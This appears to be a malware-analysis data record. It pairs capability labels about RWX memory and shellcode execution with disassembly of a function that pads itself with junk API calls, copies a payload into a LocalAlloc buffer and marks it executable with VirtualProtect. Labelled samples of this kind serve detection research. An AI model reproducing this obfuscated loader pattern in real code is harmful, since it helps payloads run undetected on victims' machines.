Function at 0x404bb2
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov eax, 0x80c9a4
call fcn.0080c8b0
mov eax, 0x1870
call fcn.00413e00
push ebx
push esi
xor esi, esi
cmp dword [0x8bfee8], 0x5b1
push edi
jne 0x404c90
push esi
lea eax, [ebp - 0x87c]
push eax
push esi
push 0x4041b0
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
lea eax, [ebp - 0x7c]
push eax
push esi
push esi
push 0x4041f4
push esi
call dword [sym.imp.GDI32.dll_GetCharacterPlacementA]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetBoundsRect]
push esi
push dword [ebp - 0x20]
lea eax, [ebp - 0x107c]
push eax
push esi
call dword [sym.imp.SHELL32.dll_ShellAboutW]
lea eax, [ebp - 0x58]
call fcn.00404f75
push esi
mov dword [ebp - 4], esi
call fcn.00405cf8
pop ecx
call fcn.00405aa8
push 0x404250
lea ecx, [ebp - 0x1c]
call fcn.004046e0
lea ecx, [ebp - 0x1c]
call fcn.004046fc
lea ecx, [ebp - 0x1c]
call fcn.00404742
lea ecx, [ebp - 0x1c]
call fcn.0040475b
push esi
push esi
call fcn.004063b7
push esi
call fcn.00406388
add esp, 0xc
push esi
push esi
call fcn.00405c84
pop ecx
pop ecx
push esi
call fcn.0040692f
add dword [0x8bfee8], 0x1134b
push dword [0x8bfee8]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x8bee3c], eax
mov edi, 0x1e6cc
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffA]
lea eax, [ebp - 0x1c]
push eax
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec edi
jne 0x404cb1
lea eax, [ebp - 0x20]
push eax
push 0x40
push dword [0x8bfee8]
push dword [0x8bee3c]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x206d47
jg 0x404d0a
inc edi
cmp edi, 0x4f6a4
jl 0x404cf0
xor edi, edi
cmp dword [0x8bfee8], esi
jbe 0x404d63
cmp dword [0x8bfee8], 0xa8
mov eax, dword [0x8bfeec]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x8bee3c]
mov byte [ecx + edi], al
jne 0x404d5a
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x404260
lea eax, [ebp - 0x47c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
inc edi
cmp edi, dword [0x8bfee8]
jb 0x404d14
xor edi, edi
mov eax, dword [0x8bfee8]
add eax, edi
cmp eax, 0xe
jne 0x404dbb
push esi
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
lea eax, [ebp - 0x107c]
push eax
push esi
push 0x4042d8
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [ebp - 0x47c]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
inc edi
cmp edi, 0x39621
jl 0x404d65
call fcn.00404a8c
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x404dd8
call fcn.00404b98
inc edi
cmp edi, 0x6753f
jl 0x404dcb
push 0x7b
pop edi
cmp dword [0x8bfee8], 0x86
jne 0x404e3a
lea eax, [ebp - 0x3c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0x404370
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
lea eax, [ebp - 0x187c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthA]
dec edi
jne 0x404de4
push 0x40438c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret